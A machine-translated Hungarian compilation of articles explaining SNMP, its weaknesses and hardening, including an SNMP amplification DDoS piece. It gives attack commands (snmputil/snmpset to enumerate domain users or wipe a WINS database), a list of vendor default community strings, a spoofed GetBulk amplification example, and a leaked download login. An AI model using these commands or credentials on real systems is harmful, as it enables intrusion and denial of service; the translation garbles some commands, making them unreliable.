snmp protokoll hálózati támadások és védelmi módszerek. SNMP protokoll

Delphi, Internet és hálózat, Protokollok



Minden komoly hálózatkezelő rendszer egyszerű hálózati protokoll kezelés (Simple Network Management Protocol, SNMP). Valójában az SNMP nem csupán egy protokoll, hanem egy teljes technológia, amely a hálózaton lévő eszközök és alkalmazások kezelését és vezérlését biztosítja. Segítségével abszolút bármilyen számítógépes hálózatra csatlakoztatott eszközt vezérelhet, például tűzoltó érzékelőket vagy akár közlekedési lámpákat. Természetesen az SNMP használható (és jelenleg is használatos) a hálózati összetevők kezelésére: hubok, szerverek, útválasztók stb. Az SNMP-adatok (például a másodpercenkénti csomagok és a hálózati hibaarány) segítségével a hálózati rendszergazdák könnyebben kezelhetik a hálózatot teljesítmény, valamint a hálózati problémák észlelése és megoldása.

Az SNMP három építőköve: a Menedzsment információs szerkezet (SMI) a Menedzsment információs bázis (MIB) maga az SNMP protokoll

SNMP menedzsment modell

Az SNMP ügynökei azok szoftver modulok amelyek felügyelt eszközökön futnak. Az ügynökök információkat gyűjtenek azokról a felügyelt eszközökről, amelyeken működnek, és ezeket az információkat az SNMP protokoll használatával elérhetővé teszik a hálózatfelügyeleti rendszerek (NMS) számára.

SNMP protokoll v1

Az SNMP-t 1988-ban implementálták szinte minden elterjedt hálózati környezetben: TCP / IP, IPX / SPX, AppleTalk stb. A protokoll alapkoncepciója, hogy az eszköz kezeléséhez szükséges összes információ magán az eszközön tárolódik - legyen az egy szerver, modem vagy útválasztó – az úgynevezett Adminisztratív Adatbázisban (MIB – Management Information Base). Az SNMP, mint közvetlen hálózati protokoll, csak egy sor parancsot biztosít a MIB-változókkal való munkavégzéshez. Ez a készlet a következő műveleteket tartalmazza:

  • get-request Egy vagy több MIB opció kérésére szolgál.
  • get-next-request Az értékek egymás utáni olvasására szolgál. Általában táblázatokból való értékek olvasására használják. Miután lekérte az első sort get-request-tel, a get-next-request a táblázat többi sorának beolvasására szolgál.
  • set-request Egy vagy több MIB-változó értékének beállítására szolgál.
  • get-response A get-request, get-next-request vagy set-request kérésekre adott választ adja vissza
  • trap Értesítési üzenet olyan eseményekről, mint például a hideg vagy meleg újraindítás, vagy valamilyen link „leesése”.

A hálózati eszköz működésének vezérléséhez csak hozzá kell férnie a MIB-hez, amelyet maga az eszköz folyamatosan frissít, és elemeznie kell néhány változó értékét.

Üzenet formátum

Az SNMP üzenetek 2 részből állnak: közösségnév (közösségnév) és adatok (adatok). A közösségnév az ezt a nevet használó NMS-készlet elérési környezetét jelöli ki. Az üzenet információs része tartalmazza az adott SNMP műveletet (get, set stb.) és a hozzá tartozó operandusokat. Az operandusok az adott SNMP-tranzakcióban szereplő objektum-megvalósításokat jelölik.

A vezetői információ szerkezete. RFC 1208

Meghatározza az információk címzésének logikáját az SNMP-ügynökökkel és kezelőkkel való interakció során. A szintaxist az absztrakt szabályok az Abstract Syntax Notation One, ASN.1 írja le.

Menedzsment információs bázis (MIB, MIB-II). RFC 1213

A MIB olyan változók halmaza, amelyek a vezérlőobjektum állapotát jellemzik. Ezek a változók olyan paramétereket tükrözhetnek, mint az eszköz által feldolgozott csomagok száma, interfészeinek állapota, az eszköz működési ideje stb. Mindegyik gyártó hálózati berendezések, a szabványos változókon kívül minden eszközspecifikus paramétert tartalmaz a MIB-ben (a magánvállalkozási részfában).

Hogyan történik a MIB-ben a címzés néhány változójához?

A MIB felépítését tekintve egy fa, minden elemnek numerikus és szimbolikus azonosítója van. A változó neve tartalmazza teljes útvonal egészen a gyökérelem gyökétől.

Például az eszköz működési idejét az újraindítás óta a rendszer a 3-as számú változóban tárolja, és sysUpTime néven. Ennek megfelelően a változónév tartalmazza a teljes elérési utat: iso(1).org(3).dod(6).internet(1).mgmt(2).mib-2(1).system(1).sysUpTime( 3) ; vagy a számok nyelvén: 1.3.6.1.2.1.1.3. Meg kell jegyezni, hogy ebben az esetben a fa csomópontjait pontok választják el.

Az mgmt vezérlőszakaszhoz kapcsolódik egy szabványos MIB-ág, amelyet általában minden hálózati eszköz támogat.

Hálózati tesztelés SNMP-vel

Az SNMP használatával különféle teszteket végezhet a hálózati eszközök működésére vonatkozóan, amelyek szintén magukon az eszközökön vannak meghatározva. Ez azért hasznos, mert a statisztikák egyszerű megfigyelése gyakran nem ad teljes képet arról, hogy mi történik.

Így például az Ethernet interfészekkel kapcsolatos szakaszhoz meg van határozva a TDR (Time-domain reflectometry) teszt, amely lehetővé teszi a koaxiális kábel hibájának hozzávetőleges távolságának meghatározását. A TDR-teszt futtatásához be kell állítani az ifExtnsTestType (1.3.6.1.2.1.12.2.1.4) változó értékét, amely tartalmazza az elvégzendő teszt típusát, hogy az tartalmazza a TDR-teszt azonosítóját a MIB-ben: 1.3.6.1.2.1.10.7.6.1.

A teszt eredménye először is az ifExtnsTestResult (1.3.6.1.2.1.12.2.1.5) változó értéke lesz, amely a teszt eredményét jellemzi:

  • nincs eredmény
  • siker
  • teljesített
  • Nem támogatott
  • nem tud futni
  • megszűnt
  • rossz vég

Másodszor, az ifExtnsTestCode változó értéke (1.3.6.1.2.1.12.2.1.6) a teszt eredményét tartalmazó MIB változó azonosítóját fogja tartalmazni. A teszt eredménye a tesztcsomag átvitelének kezdete és a hordozóütközések észlelése között eltelt 100 ns-os időintervallum. Ebből az értékből elvileg meghatározható a szükséges távolság.

Az SNMPv2 alapvető újítása, hogy a hálózatkezelő menedzserként, ügynökként vagy menedzserként és ügynökként egyaránt működhet. Ez a koncepció lehetővé teszi a felhasználók számára, hogy az SNMP-t hierarchikus struktúrában valósítsák meg, amelyben a helyi vezetők a középvezetőknek tesznek jelentést, akiket viszont a vezető irányít. felső szint. Sok helyet szentelnek az SNMP biztonsági problémáinak, amely a protokoll talán legsebezhetőbb pontja.

SNMP biztonság. RFC 1352.

Az SNMP v1 egyik legszembetűnőbb hiányossága a fejlett adatvédelem hiánya a vállalati hálózatokhoz szükséges szinten.

Ahogy Mike Warfield mondta: „Az SNMP a Security Not My Problem” rövidítése.

Az SNMPv1-ben az adminisztratív információk védelmét túlságosan leegyszerűsítve értelmezték: egy közösségi név (Community Name) használatán alapult, amely az SNMP fejlécében az üzenetvédelem minden jellemzőjét hordozta. Ezt a gyógymódot(triviális protokollként ismert) megkövetelte, hogy az ügynök és a menedzser felismerje ugyanazt a megosztott nevet, mielőtt folytatná a hálózati adminisztrációs műveleteket. Ennek eredményeként sok hálózati rendszergazda csak a funkciók figyelésére korlátozta a munkáját, és megtiltotta a konfigurációs paramétereket módosító SET parancs kiadását. távoli eszköz. Ez arra késztette a felhasználókat, hogy elkerüljék a SET-parancsokat: egy olyan primitív biztonsági funkció, mint például a gyűjtőnév, lehetővé teheti illetéktelen személyek számára, hogy anélkül módosítsák a beállításokat, hogy a felhasználók tudnának róla. Ezen kívül minden kritikus fontos információ tisztaban továbbították, így még az snmp sniffer is elérhető az interneten

E tekintetben javaslatokat dolgoztak ki az SNMPv1-en belüli biztonság javítására, amelyeket 1992 júliusában nyújtottak be; ezek képezték az SNMPv2 biztonsági keretrendszerének alapját.

Az SNMPv2 biztonsági szabványok módszereket határoznak meg az adminisztratív információk hitelesítésére (DAP – Digest Authentication Protocol) és bizalmas kezelésére (SPP – Symmetric Privacy Protocol). A fél fogalmán alapul – egy egyedi biztonsági paraméter-készleten, amely magában foglalhatja a hálózati helyet, a hitelesítést és az ügynök és a menedzser között használt adatvédelmi protokollokat.

SNMPv2 megvalósítási kihívások

Az SNMPv2 biztonsági és teljesítménybeli előnyöket ígér, amelyek fontosak a felhasználók számára. De bizonyos cégek minden bizonnyal saját ötletekkel állnak elő, különösen a védelem és a vezetők közötti kommunikáció tekintetében. Ezen kívül a cégek, amelyek terjeszkedtek funkcionalitás Az SNMPv1 környezetekben lévő MIB-jeik valószínűleg nem fognak sietni az SNMPv2 alatti termékek kiadásával.

Kétségtelen, hogy a felhasználók SNMPv2 alapú termékekre vágynak majd. De tény, hogy sokan már túl sokat fektettek az SNMPv1-es verzióba ahhoz, hogy eldobják, és a nulláról kezdjék. Az SNMPv2 szerzői ezt előre látták, és a fokozatos átállástól indultak tovább új technológia. Az SNMPv1 fenntartásának két módja van: felhatalmazott ügynökök és kétnyelvű kezelők. A felhatalmazott ügynök konvertálja az SNMPv1 formátumokat SNMPv2 üzenetekké és SNMPv2 üzenetekből.

Egy másik lehetőség egy kétnyelvű kezelő, amely egyszerre támogatja mindkét protokollt (SNMPv1 és SNMPv2), és nem igényel átalakítást. A kétnyelvű SNMP-kezelő meghatározza, hogy az ügynök 1-es vagy 2-es verziójú-e, és a megfelelő dialektusban kommunikál. Így a protokollverzió kiválasztásának átláthatónak kell lennie a fogadó eszközök számára.

Sajnos az SNMP második verzióját még nem hagyták jóvá, így zavar és ingadozás uralkodik a hálózatkezelő táborban.

Az ügynökök és menedzserek elérhető megvalósításai

http://www.microsoft.com/smsmgmt/
MS SMS Netmon

http://www.winfiles.com/apps/98/net-manage.html
egy csomó különféle ügynök és menedzser a Win95 számára.

Az Epilogue olyan szoftvert kínál, amely megvalósítja az SNMP támogatást, beleértve:

  • Az Envoy, az Epilogue kompakt, gyors, hordozható SNMP-megoldása OEM-ek számára
  • Emissary, egy SNMP MIB fordító, amely lehetővé teszi az SNMP implementátorok számára a szabványos SNMP változók kiterjesztését, hogy támogassa a MIB-ek kiterjesztését az egyes felügyelt eszközökben;
  • Ambassador, az RMON (FastEthernet) távfelügyeleti ügynök teljes, hordozható megvalósítása.
  • A SystemView IBM Netview for AIX szolgáltatása a nagy heterogén hálózatok elosztott vagy központosított kezelését biztosítja.
  • Az ACE*COMM WinSNMP támogatja az SNMPv1 és SNMPv2u szabványokat az iparágvezető Win16 és Win32 WinSNMP implementációk 2.0-s verziójában.
  • A Digital Unix POLYCENTER Manager a NetView-n biztosítja a többszállítós vállalati hálózatok kliens/szerver kezelését.
  • A PowerFlag eszköz a Victron B.V. szünetmentes tápegységek UPS MIB-jének ügynöke.
  • A WS_Ping ProPack v.2.10 lehetővé teszi a MIB táblák megtekintését, részfák megadását. Az Ipswitch szerverről a legújabb verziók letöltéséhez a következő adatokat használhatja:
    • Felhasználói név: 0000037181
    • Jelszó: CQWSC
    • Sorozatszám: WP-101333
  • Nyíltan elérhető megvalósítások
  • CMU SNMP ügynök (forrás)
    • egy ügynök, amely támogatja az SNMPv1-et és az SNMPv2u-t is
    • szám parancssori alapú alkalmazások, amelyek támogatják az SNMPv1-et és az SNMPv2u-t is.
    • A Carnegie-Mellon Egyetem SNMP fejlesztőkészlete, amely támogatja az SNMPv1/v2-t
  • A NetSCARF egy hálózati statisztikai adatgyűjtő és jelentéskészítő eszköz. Lehetővé teszi az internetszolgáltatók számára, hogy adatokat gyűjtsenek és jelentsenek az internet saját részeiről, támogatja az SNMP 1-es verzióját és a USEC-et is.
  • A Scotty a Tool Command Language (Tcl) hálózatkezelési bővítménye, amely magában foglalja az SNMPv1, SNMPv2c és SNMPv2u protokollok hordozható megvalósítását. A Scotty Tcl kiterjesztés tartalmazza a hálózatkezelő platformot (Tkined), amely MIB böngészőt, hálózati térképszerkesztőt, valamint állapotfigyelést, hibaelhárítást, hálózatfelderítést és eseményszűrő szkripteket biztosít.
    • Az snmptcp v1.3 egy bővíthető platform felügyeleti alkalmazásokhoz, amely látszólag megvalósítja az SNMPv1, SNMPv2c és SNMPv2u szabványokat.
    • A csomag az X Window System alatt fut UNIX rendszeren, és a Tool Command Language (Tcl7.3/Tk3.6) alapján épül fel.

Támadás a Windows SNMP ellen.

A szolgáltatások a következő UDP-portokon futnak (/etc/services)

  • snmp 161/udp snmp
  • snmp-trap 162/udp snmp

Érdekes SMI Network Management magánvállalati kódok:

Előtag: 1.3.6.1.4.1.

  • 2 IBM
  • 4 Unix
  • 9 cisco
  • 32 Santa Cruz hadművelet
  • 42 Sun Microsystems

Az SNMP v1 által vezérelt eszközök elleni csekély számú támadásnak nyilvánvalóan csak a Windows alatti UDP portszkennerek, az SNMP-kezelők csekély eloszlása, valamint magáról a protokollról való ismeretek hiánya az egyetlen oka, mivel súlyos hibák történtek ennek a protokollnak a megvalósítása egyes operációs rendszerekben. Ennek megerősítése folyamatosan megjelenik a bugtraq levelezőlistákon.

Sebezhetőség a szabványos Windows NT SNMP szolgáltatás konfigurációjában.

Lehetővé teszi a rendszer biztonságát és megfelelő működését befolyásoló hálózati paraméterek távoli konfigurálását (ha maga a rendszergazda indította el az SNMP szolgáltatást)

Az alapértelmezett konfigurációban az SNMP szolgáltatás az alapértelmezett "public" közösségnek (névnek) válaszol, amely olvasási és írási jogosultsággal rendelkezik. A közösség olyan név, amely ugyanazokat a funkciókat látja el, mint a bejelentkezés és a jelszó a rendszerekben.

Az SNMP-protokoll két szintű jogosultságot biztosít: csak olvasási és írási-olvasási, de a Windows NT SP4 előtt az SNMP-szolgáltatás nem tette lehetővé a közösségek írás-olvasás nélküli hozzáférésre való beállítását!

Ha megpróbálja biztosítani az SNMP szolgáltatást a közösség átnevezésével a hozzáféréshez, akkor a rendszer védtelen marad a számítógépen fiókkal rendelkező feltörőkkel szemben, mivel az SNMP szolgáltatás paraméterei a rendszerleíró adatbázisban vannak, és minden felhasználó számára elérhetők olvasásra. A Windows NT SNMP szolgáltatás az IP-címlistákhoz való hozzáférés korlátozására is képes. Első pillantásra ez lehetővé teszi, hogy megvédje magát az ismeretlen rendszerek támadásaitól, de ez nem jelent problémát a crackereknek (amit minden rendszergazdának meg kell értenie), mivel az SNMP protokoll az UDP protokollt használja az információcseréhez, és ez egy kapcsolat nélküli protokoll. protokollt, így lehetséges a kimenő címhamisítás (de ehhez át kell dolgoznia az SNMP-kezelők forrásait Unix alatt, és tanulmányoznia kell az UDP-hamisítást)

Az SNMP "set" műveletei (amelyek lehetővé teszik a változók értékének megváltoztatását) a visszatérési cím megváltoztatásával végrehajthatók, mivel válaszra nincs szükség. Ha azonban a megbízható IP-címek korlátozása engedélyezve van, akkor meg kell találnia egy fiókot a megtámadott rendszeren, és megbízható információkat kell kivonnia a rendszerleíró adatbázisból.

Az alapértelmezetten konfigurált Windows NT SNMP szolgáltatásnak köszönhetően a következő információkat tudjuk kinyerni az SNMP-kezelő használatával:

  • a LAN Manager tartománynevet
  • a felhasználók listája
  • részvények listája
  • a futó szolgáltatások listája
  1. Nyissa meg a HKLM\System\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
  2. keresse meg a SOFTWARE\Microsoft\LANManagerMIB2Agent\CurrentVersion értéket
  3. és távolítsa el.
  • az aktív TCP kapcsolatok listája
  • az aktív UDP kapcsolatok listája
  • a hálózati interfészek és a hozzájuk tartozó IP- és hardvercímek listája
  • az IP-útválasztási táblázat és az ARP-tábla, valamint számos hálózati teljesítménystatisztika.

A változók beállításával a cracker módosíthatja a roaming táblát, az ARP táblát, kikapcsolhatja a hálózati interfészeket, leütheti az alapvető hálózati beállítások típus alapértelmezett IP, csomag élettartama (TTL), IP továbbítás (lehetővé teszi a cracker átirányítását). hálózati forgalom). Ez különösen akkor veszélyes, ha a támadott gép egy tűzfal.

Nem kell messzire keresni a példákat, ha például a gép egy tartományvezérlő vagy szerver, de a C:\NTRESKIT>snmputil walk public .1.3.6.1 segítségével megkaphatja a tartomány összes felhasználójának listáját. .4.1.77.1.2.25 parancs

Ha el szeretné távolítani az összes bejegyzést a WINS-adatbázisból (ami a WinNT összeomlását okozza), ezt a ~$snmpset -v 1192.178.16.2 public .1.3.6.1.4.1.311.1.2.5.3.0 és a 192.178.16.2 futtatásával teheti meg. CMU SNMP fejlesztőkészlet Unix alatt.

A Windows NT 4.0 (SP3) rendszerben az SNMP-közösségnevek beállításakor van egy nagyon érdekes részlet is. Ha a szolgáltatás engedélyezve van, és a nevek nincsenek konfigurálva, akkor bármely név olvasási/írási jogosultságot ad. Mint kiderült, ezt már az SNMP specifikáció (RFC 1157) is jelzi!

A negyedik ServicePack (SP4) a következő megoldást kínálja a problémára: közösségi hozzáférés-vezérlés hozzáadása CSAK OLVASÁSSAL, ÍRÁSOLÁSSAL vagy READE LÉTREHOZÁSSAL. Az SP4 azonban alapértelmezés szerint a READ CREATE hozzáférést használja, ami továbbra is lehetővé teszi a gépek megtámadását. A Microsoft egyértelműen törődik a WinNT kényelmével a hackerek számára :)

A probléma az OS Solaris 2.6 előtti verzióiban van.

Az ISS Security Advisory (1998. november 2.) alapján az ezen a rendszeren alapértelmezés szerint futó SNMP-ügynök valódi fenyegetéseket rejt magában a root hozzáférés megszerzése, a folyamatok és a gépbeállítások manipulálása érdekében.

A MIB információk eléréséhez egy rejtett "nem dokumentált közösségi karakterlánc" található, amely lehetővé teszi a támadók számára, hogy módosítsák a rendszerbeállítások többségét.

Sajnos magát ezt a közösséget nem hívják, de az ISS Internet Scanner és az ISS RealSecure valós idejű behatolásészlelés képes észlelni ezt a problémát, pl. Megnézheti a forrásaikat is.

Cikk Az SNMP (Simple Network Management Protocol) leírása Az Internet és hálózati protokollok rész hasznos lehet a Delphi és a FreePascal fejlesztők számára.

Bevezetés

Ez a cikk logikus folytatása a "" anyagnak, amelyben megadták a működés alapelveit ezt a protokollt. Ennek a munkának a célja
célja, hogy kiemelje a megfelelő szintű védelem biztosításához szükséges intézkedéseket
SNMP. Szeretnék elnézést kérni az olvasótól amiatt, hogy egyesek
Az előző anyag pillanatai megismétlődnek – ez azért szükséges
teljesebb áttekintést ez a probléma. Általános információk itt
minimális mennyiségben kerül bemutatásra; az anyag jobb megértéséhez
Azt tanácsolom, hogy olvassa el az első cikket.

Fenyegetések

Problémák az SNMP protokoll kezdődött az első verzió, amikor a mechanizmus
nem volt olyan, hogy védelem. A jelszavakat bárki egyszerűen megtudhatja
hallgat a hálózaton. De egy idő után megjelent egy második verzió is, amelyben
a kor követelményeinek megfelelően komolyabb
védelmi funkciók. Különösen a kivonatolás MD5 használatával, a titkosítás használata
DES és mások (lásd az első cikket). Jelenleg a legújabb az SNMP harmadik verziója, a fejlesztők
amelynek fő feladata a biztonság biztosítása. Azonban nem minden
olyan simán biztonsággal még a harmadik verzióban is.
6 fajta SNMP-fenyegetés létezik:

  1. Közzététel: az ügynökök közötti adatcsere nyomon követése és
    vezérlőállomás az értékek gyűjtésére
  2. Maskarázás
  3. Módosítások: üzenetek küldése álműveletekhez
  4. Üzenetfolyam módosítások
  5. Hálózati forgalom elemzése
  6. Szolgáltatásmegtagadási támadások.

Tekintsük az SNMP legbiztonságosabb harmadik verzióját ennek fényében
az ilyen típusú támadások ellen.

Támadás az SNMPv3 ellen

  • Maszkolás – hibajavítás, rendszer
    ellenőrzi a csomagok eredetét
  • Módosítás - a protokoll az MD5 segítségével ellenőrzi az integritást
  • Nyilvánosságra hozatali veszély – Titkosítás DES-sel
  • Forgalomelemzés - a protokoll még mindig
    SEBEZHETŐ
  • Szolgáltatásmegtagadás – SÉRÜLÉKES

Tehát, mint kiderült, még a 3-as verzió is sebezhető bizonyos típusú támadásokkal szemben. BAN BEN
különösen az 5.0.1, 5.0.3, 5.0.4.pre2 verziójú ucd-snmp segédprogramkészlet, amely
SNMP démont, lekérdezési és értékek beállítási segédprogramokat tartalmaz
A MIB, valamint más hasznos szolgáltatások sebezhetőek a szolgáltatásmegtagadási támadásokkal szemben.
szolgáltatás. A sebezhetőséget Andrew Griffiths találta meg és jelentette be
iDEFENSE által 2002. október 2-án.
Egy ilyen terv problémáinak megoldása csak rendszeres frissítés lehet
szoftver.

Az egyik leggyakoribb probléma a mai napig a jelszavak.
(közösségi karakterláncok) alapértelmezés szerint. Még egyszer szeretném leszögezni
az alapértelmezett beállításokat módosítani KELL. A megoldás az, hogy alaposan tanulmányozza át a következő fájlok kézikönyvoldalait:
snmp.conf, snmp_config, snmpcmd, amelyek információkat tartalmaznak
SNMP konfiguráció és fájlkezelés. Még egyszerű változtatásértékek által
alapértelmezett "nyilvános" értékre több összetett jelszó, a támadó már nem tudja
információkat szerezhet a rendszeréről egy triviális segédprogrammal
snmpwalk. Számos hálózati eszköz (kapcsolók, WAN/LAN routerek, modemek és
egyes operációs rendszerek) alapértelmezés szerint a következővel vannak konfigurálva
aktivált SNMP és még rw hozzáféréssel is(!). Az ilyen hanyagság következményei
könnyen megjósolható. Itt van egy kis lista, például azokról az eszközökről, amelyekkel
alapértelmezett jelszavak:

3com Switch 3300 (3Com SuperStack II) - privát
- Cray MatchBox router (MR-1110 MatchBox Router/FR 2.01) - privát
- 3com RAS (HiPer Access Router Card) - nyilvános
- Prestige 128 / 128 Plus - nyilvános
- COLTSOHO 2.00.21 - privát
- PRT BRI ISDN router - nyilvános
- CrossCom XL 2 - privát
- WaiLAN Achát 700/800 - nyilvános
- HPJ3245A HP Switch 800T - nyilvános
- ES-2810 FORE ES-2810, 2.20-as verzió - nyilvános
- Windows NT 4.0 verzió - nyilvános
- Windows 98 (nem 95) - nyilvános
- Sun/SPARC Ultra 10 (Ultra-5_10) - privát

Október 16-án egyébként egy új is megjelent a bugtraq levelezőlistán
információk az AVAYA Cajunhoz való jogosulatlan hozzáférésről. SNMP közösség
[e-mail védett]! lehetővé tesz teljes hozzáférés. Voltak okmány nélküliek is
a diag/danger és a manuf/xxyyzz fiókok. Az ilyen problémák megoldása az rw hozzáférés korlátozása, a hozzáférés tiltása lesz
külsőleg engedélyezett SNMP-eszközökhöz. A hozzáférést meg kell tagadni
SNMP portok minden rosszindulatú számítógéphez. Ezt elég könnyű megtenni,
csak használja az ipchains/iptables szabálykészletet. Adjon tanácsot a beállításhoz
ipchains elég nehéz, mert ismernie kell a helyi hálózat topológiáját, és
Az otthoni munkaállomásokhoz nincs szükség SNMP-re.

Bárkinek rendszergazda, amely az adottval foglalkozik
protokoll, olyan programokra van szükség, amelyek leegyszerűsítenék az SNMP-vel való munkát. BAN BEN
Ezzel kapcsolatban az MRTG és az SNMP::Monitor említhető. A csomag szerzője szerint
Az SNMP::Monitor programnak vannak előnyei az MRTG-vel szemben (ami
pontosan, a readme-ben olvashatod). Az SNMP::Monitor letölthető innen
packetstormsecurity.org archívumában. Íme csak néhány jellemzője:

Egy állandó folyamat indítása, amely figyeli a hálózatot
interfészeket, és jelentkezzen be az adatbázisba
- biztosítva GUI a www
- statisztikák megjelenítése
- adathozzáférés-vezérlő rendszert tartalmaz
satöbbi.

Mindenképpen SNMP-szolgáltatáshiba-naplózásra van szükség
illetéktelen gazdagépeknek és a naplók ezt követő elemzésének. Ha akarod
ellenőrizze a hálózat sebezhetőségét, az snmpsniff egy jó program,
forgalomelfogó. Letöltheti a www.packetstormsecurity.org/sniffers/snmpsniff-1.0.tar.gz webhelyről.
A jelszavak erősségének ellenőrzéséhez használhatja az snmpbrute.c fájlt, amely
egy elég gyors jelszó brute force.

Tehát ebben a munkában igyekeztem a lehetőségekhez mérten kitérni a kérdésekre
biztonságos SNMP működés. Ha kihagytam valamit, hálás leszek érte
célzás. Köszönöm a hozzászólásokat, amelyek arra késztettek, hogy írjak
folytatás.

A folyóirat szerkesztőivel egyetértésben közzéteszem a "Rendszeradminisztrátor" folyóirat 164-165. számából (2016. július-augusztus) "Védelem a DDoS ellen improvizált eszközökkel. 3. rész. SNMP-erősítés".

Hozzájárulni a globális kibertér védelméhez DDoS , nem szükséges drága berendezéseket vagy szolgáltatásokat vásárolni. Az internetről elérhető szerver bármely adminisztrátora további anyagi ráfordítások nélkül, csak tudás és kevés idő felhasználásával részt vehet egy ilyen nemes célban.


Fontolja meg a DDoS támadások erősítését egy szolgáltatás használatával SNMP.

SNMP erősítés

A támadás lényege, hogy többszörösen megnövekedett választ kezdeményezzen SNMP- kérés. Eredetileg úgy tervezték, hogy automatizálja a táblázatos adatlekérést, miközben minimalizálja az elküldött csomagok számát BULK- a kérések meglehetősen hatékony eszközzé váltak a lebonyolításban DDoS támadások a támadók kezében. Ahogy a mondás tartja RFC3416, GetBulkRequest implementálva az SNMP 2-es verziójában, úgy lett kialakítva, hogy nagy mennyiségű adatot lehessen lekérni, amit a támadók az interneten rosszul konfigurált szerverekkel használnak.

Ha a táblázatban a visszaadott sorok maximális számát 20 000-re állítja, és lekérdezést hajt végre egy helytelenül konfigurált szerveren/eszközön:

:~$ snmpbulkget -c public -v 2c -C r20000 192.168.10.129 1.3.6.1

a válasz valami ilyesmi lesz:

iso.3.6.1.2.1.1.1.0 = STRING: "SNMP4J-Agent - Windows 2003 - x86 - 5.2"

< 290 sor kimaradt>

iso.3.6.1.6.3.18.1.1.1.8.123.123.12.123.123.12.12.123.123.12.123.123.12 = Nincs több változó ebben a MIB-nézetben (a MIB-fa végén már túl van)

A tcpdump futtatása közben megmutatja a visszaküldött csomag méretét:

21:41:18.185058 IP 192.168.10.128.39565 > 192.168.10.129.snmp: GetBulk(25) N=0 M=20000 .iso.org.dod.internet

21:41:18.603553 IP 192.168.10.129.snmp > 192.168.10.128.39565:

A fejlécekkel együtt körülbelül 70 bájt méretű kérésre válaszul a szerver körülbelül 10 kilobájt méretű választ ad vissza, vagyis majdnem 150-szer többet. Az erősítési tényező nem rögzített, és az operációs rendszer típusától és az eszköz konfigurációs paramétereitől függően magasabb (akár 1700-szoros) vagy alacsonyabb is lehet. Ha egy ilyen kérés létrehozásakor használja az IP-cím helyettesítését a küldő címe az áldozat címére és a sebezhető szerverre irányuló hívások nagy intenzitása - DDoS támadás készen áll.

Ok

A probléma lényege általában nem a sebezhetőségben van, nem a GetBulkRequest-enként visszaadott értékek számának beállítása, hanem az a jelentés SNMP közösség alapértelmezés szerint beállítva: nyilvános, csak olvasható vagy ami még rosszabb, privát - írás-olvasás. SNMP protokoll az 1. és 2. verzió alapja UDP, megfigyelésre és ellenőrzésre használják,és az értéket hitelesítési paraméterként használja a vezérelt berendezésekhez való hozzáféréshez közösség, amely csak olvashatóra állítható ( csak olvasható ) vagy rögzítési lehetőséggel (ír olvas ). Gyakran a rendszerekben egy szolgáltatás aktiválásakor SNMP alapértelmezett érték beállítva -nyilvános csak olvasható és magánírás-olvasáshoz. Még akkor is, ha figyelmen kívül hagyjuk annak lehetőségét, hogy egy helytelenül konfigurált szervert használjunk reflektálóként a támadások felerősítésére SNMP, akkor az érték használatakor nyilvánvaló a szerverről, a rá telepített szoftverről és annak verzióiról való információszerzés veszélyenyilvános alapértelmezett számára csak olvasható. Gyakorlatilag korlátlan kiváltságos hozzáférést biztosít rendszergazdai jogokkal az eszközhözírás-olvasó közösség magán . Még akkor is, ha nem történik rosszindulatú módosítás, súlyos kérések a protokoll használatával SNMP jelentős terhelést okozhat a lekérdezett szerver számítási erőforrásainál, ezáltal befolyásolva az általa nyújtott szolgáltatások minőségét.

Védelem

Kifejezetten SNMP A szerver vagy hálózati berendezés biztonságának biztosítására vonatkozó ajánlások a következő területekre oszthatók:

1. Architektúra: engedély kérések feldolgozására csak olyan interfészeken, amelyek nem érhetők el nem megbízható hálózatokról.

2. Közösségi változás valami nehezebben kitalálható dologra.

3. IP korlátozás vezérlőállomás címei.

4. Elágazási korlát azonosító, átvehető/módosítható SNMP.

5 . Minimalizálja vagy hagyja abba a használatát közösség olvasáshoz és íráshoz.

6. Átállás SNMP-re 3-as verzió használatával további beállítások hitelesítés és titkosítás.

7. Az SNMP letiltása, ha nem használják.

Hogyan kell végrehajtani ezeket a lépéseket különböző operációs rendszereken?

A szolgáltatás konfigurációs fájljában snmp a következő beállítások vannak konfigurálva:

ügynökCím udp:10.0.0.1:161#IP-cím, protokoll és port fogadási kérésekSNMP

Ha Unix- a szerver lényegében egy router, és architekturálisan több interfésszel rendelkezik, a biztonság kedvéért elérhetővé kell hagyni SNMP csak egy megbízható szegmensről elérhető interfész, de nem az internetről. Név közösség a hozzáférést a paraméter állítja be rocommunity (csak olvasható) vagy rwcommunity (írható-olvasható), beállítható az alhálózat, ahonnan a hozzáférés engedélyezett, és az elágazás azonosító, elérhető a megadott alhálózat működéséhez a megadott sorjogokkal közösség. Például annak lehetővé tétele érdekében, hogy a 10.0.0.0/24 alhálózatról érkező megfigyelő rendszerek hozzáférjenek az interfészekkel kapcsolatos információkhoz ( OID 1.3.6.1.2.1.2 ) a hozzáférési karakterlánc használatával MaKe_It_SeCuRe csak olvasási jogosultságokkal a konfigurációs kódrészlet így fog kinézni:

rocommunity MaKe_It_SeCuRe10.0.0.0/24 .1.3.6.1.2.1.2

Különleges esetekben a különféle Unix- rendszerek esetén a fenti sor szintaxisa némileg módosulhat az eltérő paraméterek használata és a komponensek hierarchikus felépítése miatt konfigurációs fájl. A részletes leírás a parancs beírásával érhető el

man snmpd.conf

De ha a szolgáltatás biztonságának mielőbbi biztosítása a feladat snmpd, korábban helytelenül konfigurált egy előd, akkor biztonsági másolatot készíthet snmpd.conf adjon hozzá korlátozásokat a megfigyelő rendszerek alhálózatára az új konfigurációs fájlhoz, és módosítsa közösség. Debianon így fog kinézni:

#CD< könyvtáratsnmpd.conf>

# mv snmpd.conf snmpd.conf.backup

# echo rocommunity MaKe_It_SeCuRe10.0.0.0/24 > snmpd.conf

# /etc/init.d/snmpd újraindítás

Ezt követően hozzáférés SNMP a szerverhez csak a 10.0.0.0/24 alhálózat lesz az új közösség, míg az összes szerver, amely nem változott közösség egy újra, már nem kapnak választ a kérésekre, akárcsak a behatolók.

Biztonságosabb lesz a használatra váltani SNMPv3, amelyben lehetőség van a hitelesítési paraméterek változtatására. Ezenkívül az 1-es verziótól eltérően és 2c, SNMPv3 lehetővé teszi a forgalom titkosítását a megfigyelő rendszer és a lekérdezett berendezés között. Csak olvasási jogokkal, hitelesítéssel és forgalomtitkosítással rendelkező felhasználó létrehozása a konfigurációs fájlhoz snmpd.conf hozzá kell tenni:

createUser v3user SHA "some_AuThPaSs" AES some_privpass

authuser read v3user authpriv 1.3.6.1.2.1. 2

